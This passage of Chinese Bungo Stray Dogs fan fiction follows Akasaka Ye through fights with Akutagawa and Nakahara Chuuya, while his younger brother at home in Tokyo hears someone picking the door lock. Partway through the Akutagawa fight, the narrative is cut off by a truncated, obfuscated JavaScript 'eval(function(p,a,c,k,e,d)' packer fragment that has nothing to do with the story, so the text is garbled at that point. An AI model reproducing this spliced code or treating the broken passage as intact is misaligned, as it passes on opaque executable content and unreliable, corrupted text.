他半是讥讽半是哂笑地问,“你对这个很感兴趣?” 对上他的眼神,那人一愣:“也不是……” 他又不是男同。 赤坂冶将手机放回口袋里,顺势双手插兜地起身。动作间,原本绷在大腿部位的布料被拉扯了一下,在他直起身后服帖地停在了该在的位置,将他身高优势下的长腿修饰得相当吸睛。 随着这个动作,赤坂冶对他就从仰视变成了俯视。他低头看了那人一眼,眼神冷淡地一瞥,哂笑道:“那就不关你的事。” 他这话是暗含锋芒的,语中的冷意很难错认。 那人一下噤了声,被吓得僵在原地。 他在那瞬间生出种立刻道歉保平安的念头,但赤坂冶唇齿间叼着的巧克力让他的咬字模糊了起来,给人一种这其中也许还有回转空间的感觉。于是那人更不敢开口了,生怕自己一句话将对话推进到更危险的地步。 他惊疑不定地想: 这个赤坂冶……原来是这种类型的吗? 迟疑间,他只能愣愣地注视着赤坂冶,看着他漫不经心地收回目光,然后舌尖一挑,灵活地将那块巧克力含进了口腔。他稍微抿了下唇,紧接着巧克力的颜色彻底在唇间消失不见。 “该走了。” 赤坂冶淡淡地招呼了一声,然后便转身离开。 那人只能听到锡纸的声音、看到他又抬起手,大抵是咬了一口巧克力——他居然喜欢吃甜食的吗? 他追上他脚步,下意识开口,话出口了才意识到自己语气不甚妥当,竟是无意识落了下风。但他只能怀抱着复杂的心情将礼节性的称呼念完: “好,就来了……赤坂先生。” 19. 019 港口mafia与其下属组织盘踞在横滨港口,从事着走私、金融犯罪、非法经营等等的相关业务,而这些工作被拆分分派到底下的人手里后,就要变得具体很多了。 赤坂冶检查了一遍仓库里的货,对了遍单子,就已经开始累了。 他按住口袋里一直在轻轻震动着的手机,做了个手势,就表示:“行,没什么事了。你们走吧。” 队里有跟他混得比较熟的年轻人问了一句:“赤坂先生,你不回基地吗?” “不了。”赤坂冶说,“你先去吧,难得收工早。” “哎!”那年轻人高兴起来,“回头有空一起喝酒!” 闻言,自刚刚那一出后就安静跟在赤坂冶身后的同僚抬眼看过去,给了他一个鄙夷的眼神: 呵,愣青头。人家能跟你喝到一块去吗? 赤坂冶面不改色地应了:“好,回见。” ——他不喝酒的事其实算是私事,只有熟识的人才知道。而混在这个场子里,不吸烟不喝酒不赌钱的人才是少数派,如果他次次回绝,其实会很引人注目,也不利于他跟同事打好关系。 所以这种时候,就需要一些手法和小技巧出场了。 虽然比不得某位干部出入他家那样如入无人之境,但赤坂冶还算得上擅长这个,并不忌讳出入这种场合。 他翻着手上的册子,在心里估量着港口mafia这批走私进来的武器规模和来源地。港口mafia家大业大,一次船运拉进来的货就得分派到不同队伍手里执行,既为了效率又为了安全。不过有了这份清单,赤坂冶意识到,也许他能在黑市淘到一波新武器了。 ……啧,这么一看,上班竟也不是没有好处的。 赤坂冶有点微妙地不爽。 他面无表情地站了一会,才耐心耗尽,转过身问道:“你还不走?” 为了避免太宰治给他找来的麻烦找不到他,他决定在路上多转转,守株待兔。但这家伙为什么还不滚? 那家伙明明才被他吓过,却仿佛越挫越勇。他露出无辜的神色,体贴地说:“看看赤坂先生有没有需要帮忙的地方。” 黄鼠狼给鸡拜年? 赤坂冶眼也不眨地拒绝:“不用。” 他将册子夹到手肘处,转身向外走去。这人居然还真不站在旁边袖手旁观,给他帮了把手,一起关了仓库的门。 看着码头仓库门缓缓落下,他还笑着站在旁边,推了推眼镜:“以前我也是会留到最后再检查一遍的。他们一个个拍拍屁股走了,有时候总丢三落四的。不过有赤坂先生在,倒是要好不少。你一来,他们手脚都比以前麻利了。” 这话赤坂冶听过就算,一点反应不带给的。 他心不在焉地站在那,正打算随便说点什么,就冷不丁感到一股危机感从心头升起。 后颈汗毛立起的瞬间,久违的战栗沿着脊椎袭上颅骨。赤坂冶什么都没看见,但他浑身肌肉已经条件发射地紧绷,瞳孔骤缩。眨眼之间,他顺从心头的感觉,伸手一把扯过身边的人,带着他一个前滚避开了致命的一击,然后抽出左肋侧枪袋里的手枪,精准地两发子弹击溃了袭来的黑影。 那是从他视觉盲点处袭来的细长黑线,狰狞锋利的边缘,刺破空气的速度相当之快,可以想象如果被击中的话,绝对是讨不了好的贯穿伤——但那是什么东西? 被他粗暴一扯、拽着滑行过来的同僚仰面朝天,摔了个狠的,靠在赤坂冶身边,正痛呼着试图撑地起身。赤坂冶没有被他干扰,表情丝毫不变,眼神紧锁在空中被击退半米的黑线上,眼神顺着延伸来的方向往街角一瞥。 电光火石之间,他又翻身而起,冲地面开了一枪,期间随手将身边还没能站起来的人提起来往旁边一丢。 单这一下,他的手臂力量已经暴露无遗。 赤坂冶以一种和体格完全不符的灵活轻巧落地,避过从侧边袭来的又一次攻击,退后一步,偏头险之又险地看着黑线从他脸侧擦过,削掉了一节荡起的棕发。赤坂冶并不紧张,视线自然垂落,黏在那黑线上跟着它远去。 这是什么材质?不能是新型科技武器吧? 是异能力者? 赤坂冶琢磨着,甚至有闲心喊了一声:“你先走!” ——所有攻击都是冲着他来的,虽然没有避开同僚,但也没盯着同僚的要害处去。 同僚被扔开,在地上擦出一米远,顿时变得灰头土脸。赤坂冶游刃有余处理危机的身影映在他眼底,头也不回开枪的动作利落又精准,于是他将提醒的话咽回肚子里,来不及喊疼,直接连滚带爬地起来,冲着仓库拐角处冲去了。 比起一览无余的外面,那里起码能为他提供一些遮蔽,如果赤坂冶解决不了敌人的话,兴许他还能借着地形求得一线生机。 赤坂冶分神关注了一下、确认他已经跑离这片区域后,才砰砰又开了两枪,将迎面袭来的黑线击退,遥遥望向不远处朝他走来的青年。 那是个黑发的年轻人,矜持优雅地双手插兜,那能穿透人心脏的黑线正是他黑色风衣的下摆延伸出来的。他衬衫前襟有类似荷叶边的设计,结合他单薄的身形,走路的姿态,看起来倒像是个文绉绉的家伙。谁能想得到他竟是能力这般锐气的异能力者。 赤坂冶上上下下地打量着他,视线从他脸颊两侧垂落的、渐变成白色的鬓发扫过。 还搞了漂染?怪洋气的。 赤坂冶默不作声换了个弹夹:“你是?” 那人表情很冷,冷到仿佛要给自己气病了。他轻轻咳了两声,死死盯着赤坂冶。如果眼神能够杀人的话,那大概在被异能力刺穿之前,赤坂冶就已经被他的眼神扎成马蜂窝了。 “在下的名字是芥川龙之介。”那人鬼气森森地说。 “——是即将要杀死你的人。” 赤坂冶:“……” 这整条仓库街上,一眼望到头,一时间竟看不到其他的人在。赤坂冶大致猜到是有人略施小计清了场,方便他们在此打架斗殴。 赤坂冶微微垂下眼,心情有点复杂:太宰治怎么把人忽悠来的?怎么戾气会这么重? 但事已至此,多说无益。 赤坂冶随手将空弹夹丢在地上。 “来吧。”他说。 话音未落,赤坂冶就已经直冲芥川龙之介而去!他姿态比猎豹还要迅猛,速度与力量的美在这一刻在他肢体上完美地展现了出来。 芥川龙之介瞬间被激怒了。他发动了异能力,衣摆荡起,像是张牙舞爪的黑兽那样亮出利爪与尖牙,向赤坂冶展示自己的武器。 然而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“差距……真的那么大吗……?” 赤坂冶:“……” 赤坂冶一时间都有些愧疚了。 这注定是一场不公平的战斗。 芥川龙之介有灵活多变的、高攻击性的异能力,而赤坂冶拥有的是其他的一切。包括经验。 这家伙显然身体很糟糕,体术是绝对的短板,但好巧不巧,体术是赤坂冶绝对的长项。他最应该做的是在赤坂冶摸清他的异能前就将他杀死,因为一旦让赤坂冶近了身,情势就会立刻调转。 这完全是战略上的失误——如果不考虑能力限制的话。 “不至于。”赤坂冶将他提起来换了个姿势,强迫他将口中的血吐出来,免得他不小心被自己呛死。赤坂冶平静地回答,“再给你几年时间,你就有能力杀我了。” 芥川龙之介被整得胃部乃至全身都一阵剧痛,哇的一口血吐了出来,艰难地咳了好一会。赤坂冶就蹲在他旁边观察他,微微侧目。 这是……肺也不好? 赤坂冶耐心等他咳完,问:“你为什么想杀我?” 芥川龙之介吐完了血,说话声音终于清晰了一点。 他喃喃道:“在下不、不能……让你取代我。” 赤坂冶一时间沉默。 哦,他知道了。这是太宰治那个险些被他随口换掉的直属部下。 搞清事情原委,赤坂冶就放心了。他邦的迎面给了芥川一拳,物理助眠帮他入睡后,从他口袋里搜出了他的手机。赤坂冶随手将人丢在地上,然后点开了通讯录,果不其然找到了太宰治的联系方式。 赤坂冶扫了一眼号码,点击拨通了过去。 20. 020 那么话说回来,为什么要用芥川龙之介的手机给人打电话? 当然是因为他没有太宰治的电话。 是的,赤坂冶没有太宰治的电话。 与其说是没有电话,不如说是他们完全没有给对方留联系手段,也完全没提及过这个问题。 没人会讲‘下次’这种危险的词汇。 赤坂冶此前没考虑过联系太宰治。 他估摸着太宰治早就搞到他的手机号码了,不过很显然,迄今为止,太宰治也没有给他打过电话。 然后现在,为了确认芥川龙之介的身份和所谓‘帮忙’一事,赤坂冶给他拨去了第一个电话。 只有他一人还站着的长街上很安静,而通话在拨过去的第二声提示音就被接通了,就好像对面的人一直在等待这个电话一样。 “来得太晚了。” 赤坂冶说着,抬起手腕看了一眼时间,“说好的是中午,结果这都一点多了。” 通话对面传来太宰治的声音:“哎呀,这个不能怨我啊。” 他昨天就把赤坂冶的消息告诉芥川了,谁知道芥川在知道他名字、所属组织、还有权限查询下属组织任务的情况下,依然花了一天多的时间才找到人? 以及,果然结果毫无悬念呢。 芥川真是输太多了。 太宰治一边觉得赤坂冶这个没有异能力的普通人未免太六边形战士了一点,一边觉得芥川真的是…… 他停止在脑子里骂人这种浪费脑细胞又没有收益的举动,百无聊赖地问:“人怎么样了?” 赤坂冶言简意赅:“活着。” 他又瞥了一眼脚边躺着的人:“……目前是。” 主要是他没想到这人这么脆。 太宰治啧啧称奇:“哎,心狠手辣啊。” 赤坂冶:“……?” 赤坂冶不知道这句话是哪冒出来的。他觉得自己最好保持沉默。 他思考片刻,觉得好像没什么要说的了。于是他又用鞋尖拨动了一下脚边的人,准备结束这个对话: “我把人扔这了,你自己处……” 赤坂冶倏然截断自己的话,然后灵活地后跃。他脚尖接连点地,飞起一脚踢开了直冲他面门而来的尖石,在轰然的巨响中于空中翻了个身,然后平稳落地。他站稳脚步,抬眼看向几米开外、站在深坑内的橘发青年。 深坑中,中原中也冷厉地抬眼看过来,眼中满是怒意。已经吐血昏迷的黑发青年正漂浮着悬在他身边,周身裹着一圈红光,于他方才的攻击中毫发无损。 赤坂冶:“……” 赤坂冶:“…………” 赤坂冶一下失语了。 他认得这个人,不如说谁不认识? 比起没什么名气的芥川龙之介,‘重力使’的威名不会有横滨情报贩子没听说过,于是赤坂冶当然也不可能没听说过。这可是‘双黑’里的另一位,太宰治的搭档,港口mafia的中原中也。 ……对于普通小组织黑手党成员来说,这可是只活在情报小节里的名人啊。 横滨地下的名人中原中也率先开口了。他怒视着赤坂冶,冷声质问:“你在做什么?” 赤坂冶:“……” 他在做什么?他在作死。 赤坂冶默默直起身,将右手上的枪收回了枪袋内。 他感觉自己的处境有点不妙了。他仔细研究过这位在龙头战争里大放异彩的异能力者,读过对方相关的情报。重力原本就是很难应付的类型,更别提这位重力使的能力强度很高。他只是一个普普通通的底层打工人,没想过要挑战最强异能力者。 那么退一万步讲,这位最强异能力者是为什么会出现在这里呢? “……这也是安排好的?” 赤坂冶没忍住,低声笑了一下,“太宰,你是想我死在这?” 担心初出茅庐的年轻异能力者无法得手,于是又叫来自己的搭档做双重保险吗? 这人真是—— ……算了。 说完那句,赤坂冶无甚兴致地挂断电话,将芥川的手机往地上一扔,然后绷起神经,准备全神贯注地应对中原中也。 他身体的各项机能已经被完全唤醒,在看到强敌的瞬间就被危机感刺激着醒了过来,欢喜雀跃着等待接下来的战斗。 如果说芥川龙之介的刺杀只有其异能力让他稍微提起兴趣,那么中原中也的就不一样了。且不说中原中也不是只有异能力的花瓶,就算他是,他的异能力也足以让人陷入苦战了。 情况相当不妙,但赤坂冶没打算放弃。 毕竟他其实是那种死前会拼尽全力拖人下水的类型。 中原中也没听清他先前那句话,不过见他摆出战斗的姿态,中原中也也就不在意了。他张扬桀骜地扬了扬眉:“很好,你已经有心理准备了吧——袭击港口mafia的成员,你准备好付出代价了吧?” “……” 他妈的,连环套。 赤坂冶抽出刀,面无表情地说:“嗯。” 橘发青年眯起眼睛笑了下。他长得真的很有少年气,一双如天空般蓝色的眼睛很漂亮。他笑的声音也很好听,速度也足够快。 ——于是这次来不及反应的变成赤坂冶了。 在重力的牵引和加速下,中原中也以快到难以对抗的速度攻了过来。只这一眼,赤坂冶就确认他没办法和对方竞争速度和力量了。他将刀子抛到左手,反手握刀,而后不退反进,上前一步。他握紧右拳,足下生根,然后腿部带动腰部,腰部带动手臂,用尽全身的力气重重挥出一拳,和中原中也的拳头对撞到一起。 在中原中也意外到堪称惊喜的神情中,赤坂冶没办法再保持表情的平静了。 他控制不住地咬紧了牙,暖棕色的眼瞳像是被点燃了一般,那丝金色调在冷厉的眼神中变得愈发明显。在这一瞬间,他浑身燃起的是战意,眼神紧锁着中原中也,脑中唯一的念头是: 杀了他。 中原中也手上戴着手套,赤坂冶没法发动异能。他只能采取最基础的方式。 他猛地抽步后退,然后挥刀而上,这面无表情的一刀,像是冲着将中原中也腰斩一般。虽然他手上握着的是短刀,但中原中也毫不怀疑他的刀法造诣。 面对这般杀招,中原中也居然朗声笑了起来。他侧身拧腰,一脚踢了过来。 赤坂冶不敢冒着手腕被击中的风险继续这一刀,以对方那有重力势能加持的力道,这下若是被踢中,他左手在接下来的战斗中就别想用了。刚刚对拳的那一下,他半边身体都有些发麻。赤坂冶临时变招,让中原中也这一腿扫空,然后趁他收势时欺身压上,右手探手袭向中原中也要害处。 中原中也再次挡回,然后紧接着又是一拳砸了 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赤坂冶心里叫苦不迭。他手上动作不停,两人你来我往了片刻,他终于是忍不住、试探着露出了疲态,然后做出想要回撤的架势,面无表情地吃下了对方的一记横扫。 这一招过后,中原中也出乎意料地没有追击。赤坂冶顺势后退了两步,甩了甩手臂,努力沉着脸,让自己别露出什么情绪波动。 隔着一段距离,他和中原中也对视。 橘发青年已经基本换了个态度。他饶有兴致地打量着赤坂冶: “喂,你叫什么名字?” ……那个没有心的家伙,连他的名字都不想提吗? 赤坂冶有点不爽,但他控制住了。 撇去其他因素,他并不讨厌眼前这个人,于是他缓缓开口,报上自己的名字:“赤坂冶。” “……赤坂冶。”中原中也念了一遍他的名字,似乎相当中意。他挑起唇角,露出了一个充满攻击性的笑,“喂,赤坂,你为什么袭击港口mafia的成员?” “是他先袭击我的。”赤坂冶用平稳的语调说,“如果不是我躲得快,我和我同僚都会被他穿成串。” 橘发蓝眼的年轻人歪了歪头:“哎?” “……哎什么哎。”赤坂冶有点无力。 “那你同僚呢?”中原中也问。 “我让他先走了。他帮不上忙。”赤坂冶答。 “原来如此。”中原中也理解地点点头。 他号称是港口mafia的第一体术大师,当然跟组织里的异能力者对练过。以芥川龙之介的水平,确实应对不了眼前这个人,贸然动手的话,被反过来揍一顿也不是没可能的。 不过,嗯……芥川毕竟是港口mafia的成员。 他身为干部候补,有义务帮组织内的成员出头吧? 可他不太想打了哎。 中原中也眼珠一转:“我会处理掉所有冒犯港口mafia的人,但是——” “我不加入。”赤坂冶精准截断。 ……说好的港口mafia家大业大呢?这两个人怎么总是给他一种港口mafia很缺人的错觉。那个芥川龙之介的异能力不是挺强的吗,后继有人啊? 他飞快地补上:“而且我本来就是你们下属组织的成员。” 迎着中原中也从惋惜转到惊喜的神情,赤坂冶一板一眼地说: “中原先生,刚刚真是冒犯了,不好意思。” 21. 021 芥川龙之介伤得真的有点重,于是爱护部下(哪怕不是他的部下)的中原中也先将芥川龙之介送了医。 赤坂冶还没想明白为什么这位重力使选择‘送医’而不是‘叫人来’这种措辞,就看到橘发青年带着芥川龙之介纵身而起,身影飞快地消失在了原地。 赤坂冶:“……” 好极了,他算是知道刚刚中原中也从哪来的了。以及…… 吗的,这个中原中也真是大好人。 再说一遍,他是真的大好人。 赤坂冶郁闷地蹲到海堤旁边,一边放松长时间用力过猛的手臂肌肉,一边在心里复盘刚刚那场战斗。 再再说一遍,中原中也是真的大好人。他明明能用重力异能操纵外物、带着芥川龙之介浮起来,却没有在刚刚的战斗中操纵赤坂冶身上的重力。如果他这么做了,赤坂冶恐怕没有对敌之力。 该说对方还给他留了一个体面的死法吗? 他盘腿在海堤上坐下,遥望着海平线的方向。 微咸的海风将海浪的声音送到他耳边,有些潮湿的空气触上他裸露在外的皮肤。赤坂冶垂眸听了片刻,才感觉浑身的血液慢慢平静了下来。受击导致的骨头几乎要碎裂的疼痛已经渐渐淡去,余下的只是若有若无的幻痛。 大概明天身上就全是淤青了,赤坂冶想。 他走了会神,看着码头尽头处一只海鸥振翅飞起,然后忽然抬起了手。 左右周围无人,赤坂冶解开衬衫第一个扣子,然后撩开领口,探手进去,用手指抚过肩膀那处的皮肤。太宰治昨天咬在那的牙印在那留下了伤口,哪怕不用去看,指腹也能感受到皮肤上破口带来的触感。 ……但是太宰治想杀他。 赤坂冶的心情有点糟。他又一次后悔起当初没有杀死太宰治的事,因为肉眼可见的,情势已经开始往他不能控制的方向发展过去了。 但如果他当时杀了太宰治,织田会伤心吗? 赤坂冶不知道。 而且事到如今,他也没办法再轻易地说出诸如‘与其落入被动的局面,不如先下手为强’之类的话了。要他对太宰治动手似乎有点困难,哪怕对方已经将意图展现得非常明确了。 ……而且事情变得比当初麻烦多了。如果说当时是不知足无罪,那如果他现在动手,织田会轻易善罢甘休吗?除此之外,太宰治已经将他的情况摸清楚了,他弟弟的资料也许也已经被太宰治记录下来留作后手。在见识过重力使实力的现在,他如果要动手的话,也许得直接按照最糟糕的情况考虑了。 嘿,难道就是今年了? 择日不如撞日,也许这就是他离开日本的最好时机? ……可幸一还没毕业呢。他八成不愿意他走吧。 赤坂冶兴致缺缺地收回手,重新整理好衬衫。他又发了会呆,才轻叹一声,将这件事暂时抛在脑后,抬手随意捋了把头发。 结果这一捋,就不小心出问题了。 赤坂冶的表情一下僵在了那里。 等等,等。这……这长度怎么不太对? 于是中原中也回来的时候,就看到赤坂冶郁闷程度超级加倍地在研究自己的头发。 意大利手工皮鞋触及地面的声音慢慢靠近,然后是中原中也还带着少年气、但已经颇有磁性的声音。他歪歪头,好奇问道:“赤坂?” 赤坂冶的声音有点崩溃:“……中原先生。” “嗐。”中原中也随意摆了摆手,“不用这么讲究。” 他上前两步,蹲在赤坂冶跟前:“你在干嘛?” 赤坂冶沉默:“……” 他挣扎了一会,然后才转过来。 他并着两指,将侧脸那几缕头发捋直,展示给中原中也。不,其实都不需要他特地比较长短,他只是稍微转过来,中原中也就已经看出不对了。 他睁圆了那双漂亮的蓝眼睛,几乎就要笑出声来。然而考虑到这是他新认识的朋友,当着人的面嘲笑似乎不太好,橘发青年又艰难地憋了回去,表情一瞬间变得相当丰富:“啊,你这……” 赤坂冶表情已死。 他面无表情地说:“你笑吧,我不介意。” ——当然不可能。他骗人的。 中原中也还是没笑。他艰难地忍住了。 张扬的笑容消失不见,取而代之的是他唇角平和无奈的一抹笑意。 “怎么会失手的?”他轻笑着说。 赤坂冶:“……” 这意思是,他会被芥川龙之介得手属于是他失手吗? 莫名被认可了战斗力,赤坂冶的心情稍微好转。他没好气地说:“我第一次见他,不知道他能力是这个性质的。突然冒出来个异能力者袭击我,我也很莫名其妙,就稍微试了他两下……” 中原中也摩挲了一下下颚,打量了两眼赤坂冶的新发型,决定给予认可:“芥川的异能力确实挺不错。” 都给人削成公主切了,还挺锋利的。 毕竟在那种紧张的战斗中,头发这种随风而动的东西能被寸寸削断,也不是件容易的事。这应该是一次性削的,而不是赤坂冶失手了很多次吧? 赤坂冶表情阴沉地盯着自己脸侧时不时出镜的碎发。他做了会儿心理准备,然后堂堂宣布:“我先去剪个头发。”然后再回东京! “好!”中原中也鼓掌,“支持!” 赤坂冶:“……” 那什么,他再说一遍,重力使真的是个大好人。 情绪上来了,赤坂冶也不甚在意那些细节了。他忽略中原中也还在他身边的事实,抬手摸了下口袋,拿出了自己的手机。 然后赤坂冶和中原中也同时愣住了。 原本完好无损的电子设备已经被破坏得不成样子了,活像是迎面遭受了重击,机械外壳碎得一块一块的。在无人碰触的情况下,遭受了无妄之灾的手机还能维持着完好的结构,但赤坂冶这么一碰,就从外壳开始寸寸瓦解,一些金属碎块贴着他的掌心滑落,另一些从他指缝间掉了下来,连带着里面的电子元件和其他结构也支离破碎。 赤坂冶:“……” 中原中也:“……” 他们两人对视了一眼,然后中原中也轻咳了一下,从大 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——中原中也有本事完成这种细微的重力操纵,那是他厉害。甚至以他的异能力,他原本都不需要和赤坂冶进行这样的近身战。他直接将一棵树一辆车一堵墙从地上拔起来,然后挥过来揍他就行了。 都不提强度的事,如果芥川龙之介能完成这种精度的操作,那么当时削掉赤坂冶发丝那次攻击就不该仅仅是削断他的头发了,而应该直接在空中多次转向,从更刁钻的角度攻击更致命的地方。 赤坂冶看着中原中也写满了鲜活情绪的蓝色眼睛,看着他松口气、然后眼里仿佛盈着光的样子,没忍住笑了一下。 “就算别人有同样的异能,也不是所有人都能做到你这个程度。这些都是你实力的一部分。”他轻声感慨了一句,“真厉害啊,中也先生。” 中原中也:“……” 中原中也一下子愣住了,眼中多出了几分无措。 对方只是无心夸赞了一句,但那内容落到他耳中却仿佛意有所指——而且赤坂冶微微偏头过来,抬眸看着他,温柔的棕色眼睛凝视着他,投来的视线变得很有重量。他是非常、非常真心实意地在感慨,就好像感同身受一般。 忽然得到了真挚的称赞,中原中也有点不自在。 ……毕竟这种情况往往是对方越真挚,被称赞者就越无所适从。 但他也不是当年那个青涩的自己了,于是很快在手足无措地道谢和大言不惭地认下来之间选择了or,强撑着笑了一声:“那、那当然。” 然后话一出口,他的表情就僵住了。 ……草,语气没绷住。 赤坂冶默不作声地看着他。 中原中也坚持了几秒,然后也步了赤坂冶的后尘,紧跟着破防了。 他有点羞愤,正忙不迭打算起身,强势打破这个尴尬的局面,就听赤坂冶补了一句:“那肯定的。” 中原中也稍微松了口气。 好好好,他就说赤坂这人能处! “所以,话说回来……”能处的赤坂冶又冲他笑了下,“你介意我叫你中也先生吗?” 22. 022 中原中也不明显地怔了一下。 “嗯,嗯啊……不介意啊。哎,其实挺多人都这么叫我。” 赤坂冶撑着下颚看他:“你不反感就好。” “还行吧,听着倒是不赖。”中原中也笑了下。这人动起手来迅猛如雷,说话时却是个平和沉稳的语调,听着相当舒服,简短的几句话,就叫人觉得轻松愉快。 “你有急事要联系别人吗?不介意的话,可以用我的手机。” “谢了,不过没事,不是什么急事。” 赤坂冶拒绝了。 他是想跟弟弟说一声,但如果用别人的手机留下记录和电话号码的话,似乎就不太方便了。 “好吧。”中原中也也没坚持。 他起身,朝赤坂冶伸出手:“走吧,你不是要去理发吗?算是我为不分青红皂白,上来跟你打了一通的事赔礼道歉。” 赤坂冶迟疑了一下,而后握住他的手,借力起身。 “你没有工作了?” “嗯?” “不,嗯……毕竟中也先生是个名人。”赤坂冶解释,“对我这种小人物来说,总容易有种你们一直在忙的感觉。” “哈啊?”中原中也一挑眉,半是调侃半是无奈地说,“我才刚刚下班好不好。就算是港口mafia也得让人休息吧?你们难道非常压榨员工吗?” 近一个月一直在被压榨的赤坂冶:“……也还好吧。” 中原中也安心了:“那就行。” 赤坂冶:“……” 重力使先生,你这是什么反应? 他观察着中原中也的神情,确认他完全是想到便说了、下意识脱口而出的这句话。于是他心情更复杂了。为什么这个类型的人会跑来做黑手党? 他看着中原中也松开他的手,屈起手臂随意将手放到了口袋里,动作间手肘撑起外套、露出了一截小臂。赤坂冶眼神不动声色地一扫,确认他从头到脚捂得相当严实,居然真的就只有卷起的衬衫袖子那里露出了一点皮肤。 ……有点难处理。 赤坂冶心想。 他又瞥了眼中原中也的表情,发现他正好心情地挑着唇角,唇边是一抹肆意悠哉的笑,看起来没什么防备的样子。 不过没事,会有机会的。 赤坂冶也收回手,接了中原中也的又一句闲聊,跟着他的脚步往市区的方向去了。 ** 东京,厨房里,赤坂幸一哼着小曲在忙碌着。 刚买回来的颜色漂亮、一看就很新鲜的肉在案板上被切成小块,赤坂幸一将刀放下,洗干净手,又用竹签耐心地将羊肉一块块串了起来,整整齐齐地排列在烤盘内。他又从冰箱里取出蔬菜,洗净、擦干、切好,也跟着串成串放在旁边,方便吃的时候可以荤素搭配、调换口味。 在厨房岛台对面,东寺光代清闲地支在那,抱着椅背,下颚搁在台面上,睁着双眼睛瞅着赤坂幸一。他旁边还放了罐开过的可乐,易拉罐外侧上凝结着水汽,挂着几滴晶莹的水珠。 他眼巴巴地看着赤坂幸一:“幸一,真的不要我帮忙吗?” 看赤坂幸一备菜切菜的架势,就能看出来他厨艺还算可以,估计平日里也会自己做饭。但做饭这事也不是谁技术好就该由谁包办的。上别人家来做客,就这么干看着人家忙碌,总让人心里过意不去。 然而赤坂幸一严词拒绝了:“不用。” 东寺光代锲而不舍:“真的真的不要我帮忙吗?帮你切个菜洗个碗也可以啊。” “不。”赤坂幸一再度拒绝,“你就坐着吧。” 他态度坚决,回答迅速,丝毫没有退步的意思。 毕竟他不介意做饭给朋友吃,却完全不想让朋友做饭给他哥吃。 东寺光代只能妥协:“好吧。” 这里是幸一家,所以幸一说了算。 他又吨吨吨灌下去两口可乐,在看电视和玩手机之间犹豫了一下,最终选择了说废话。 “所以你哥什么时候回来?” 赤坂幸一:“……” 他脸上的笑容渐渐消失:“快了吧,应该。” 两个半小时前他发消息给他哥,询问晚饭能否邀请东寺光代一起,然后从那时候起,他哥就没有再回过他了,就连他后来问他哥预计什么时候能回家的消息也没有回。 不会要被咕了吧?赤坂幸一郁闷地想。 最近哥哥总是很忙,他似乎被什么事绊住了脚步,每次联络都是匆匆几句话。等他有空的时候,通常已经三更半夜、甚至要到黎明了,赤坂幸一早已经睡了。偶尔他也会白天有空,但如果被发现翘课亦或者上课偷溜出去,赤坂幸一反而要挨骂的。 虽说哥哥在他升入大学后就不太管他的生活习惯和日程安排了,哪怕是晚归、出入娱乐场所、买些乱七八糟的杂物都无所谓,但他坚决禁止赤坂幸一放下自己的生活然后绕着他转。 兄弟俩认真讨论过这个话题,最后赤坂幸一泪眼汪汪、咬着餐巾纸地被赤坂冶哄了一通,还是无法说服哥哥获得许可。 所以为了避免哥哥因为这事生气,赤坂幸一只能小心翼翼地控制着度,分享着自己的生活,以期两人的生活轨迹能有些重叠。 但是太少了。 不够,不够,远远不够。 只是这样的话,他得不到满足。 赤坂幸一将烤盘底部的锡纸折了折,将肉串的位置调整了一下,在东寺光代连声感慨‘看起来就会很好吃!’的声音中,往撒上些辣椒面、孜然、和调味粉。 东寺光代看着那些颜色漂亮的肉串,再看看被赤坂幸一按比例调好的调味料,两眼放光。 “差不多好了?” “嗯,差不多好了”。 只是临将烤盘送进烤箱前,赤坂幸一忽然顿住了动作。 他端着烤盘站在那,发了两秒钟的呆,然后问道:“东寺,能不能帮我看下手机有没有新消息?” “哦!”东寺光代立马支棱起来,“好啊。” 甭管是不是自封的,作为‘最了解小幸一的人’,东寺光代立刻理解了赤坂幸一在想的事。 这等待的两个多小时里,赤坂幸一一直魂不守舍的。说真的,东寺光代都怕他动菜刀的时候不小心伤着自己。 他探手一勾,就将身后餐桌上的手机拿了过来,摁亮手机屏幕,然后遗憾摇摇头。他向赤坂幸一展示了下屏幕:“没有哎,你哥哥没回。” “……” 赤坂幸 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“……好好吃啊!”东寺光代拽下一小块肉,在嘴里嚼嚼嚼,眼睛几乎要放出可视的金光,“我靠,小幸一,你不会是料理天才吧?” 中式的烤串比日式的烧鸟要大份多了,单支签子的份量也会更大,不过上美食原产地走过一遭的赤坂幸一已经很习惯了。他三两下将整串肉都吃完了,鼓着腮帮子咀嚼,半晌后叹了口气:“好像烤老了。” 东寺光代用震惊的眼神看他吃串的模样,然后也有样学样开始加速进食:“哇,好严格——” 门是在这时候被敲响的。 大门从外面被轻轻敲了两下,声音短促,以至于东寺光代差点没听见。 他手里还举着签子,有些讶异地偏头看了一眼赤坂幸一。在发现他完全没有动身过去开门的意思后,位于厨房外侧的东寺光代便转身向玄关走去,嘴里一边说道:“唔,我去开门。” 赤坂幸一没注意到那点声音。 他正忙着思考羊肉串的味道为什么不对。 辣椒的味道好像有点单调,是辣椒的种类不对吗? 为什么整体的味道有点浮于表面,是腌制时间应该再长一点吗?总感觉没有在华国吃到的那种感觉……还是说一定得是明火炙烤?还是羊肉的部位不对? 他慢半拍地回应东寺光代的话:“啊?什么?” “有人敲门啊。” 东寺光代走到玄关门口,抬手就要去按门把。 ……有人敲门?! 赤坂幸一表情骤然阴沉了下来。 唯一应该来这里的只有他哥,但他哥到现在都还没回他消息。 而且他哥是有他家门钥匙的。 是谁在敲门? 赤坂幸一低声喝道:“东寺,等下!” “……” 东寺光代被吓了一跳,急忙刹停。 他不明所以,却莫名感觉不太对劲:“啊……?怎么了?” 他犹豫着想要收手。 就在这么耽搁的几秒钟时间,他听到细微的声响从锁眼里传来。 金属剐蹭的声音响了几声,随后,门把手被从外侧慢慢压了下去。 23. 023 那人骤然冷淡下来的声音从话筒里流淌出来的瞬间,太宰治就意识到了不对劲。 宛若爆炸一般的轰鸣声响起,随后是一段吵杂的声音,飞沙走石,再然后赤坂冶倏尔变了态度。对面发生了什么已不言而喻。 ……跟他明确相关的、能让赤坂冶感到棘手的人,能有几个? 太宰治从椅子上豁然起身,表情变得有些难看。 该死,小矮子今天不是出任务去了吗? 他为什么会出现在那个地方? “赤坂冶。”他脱口而出,“你别……” “嘟、嘟嘟——” 太宰治一愣。 他放下手机,发现屏幕上的通话已经被挂断了。 他的表情顿时变得很精彩。 不是,这是什么意思?赤坂冶一个普通人,面对港口mafia的重力使时也丝毫不打算服软吗?他挂了电话,意思是不需要他太宰治帮忙解决这个局面——? ……所以,对他来说,哪怕硬拼,也懒得再多跟他说一句吗? 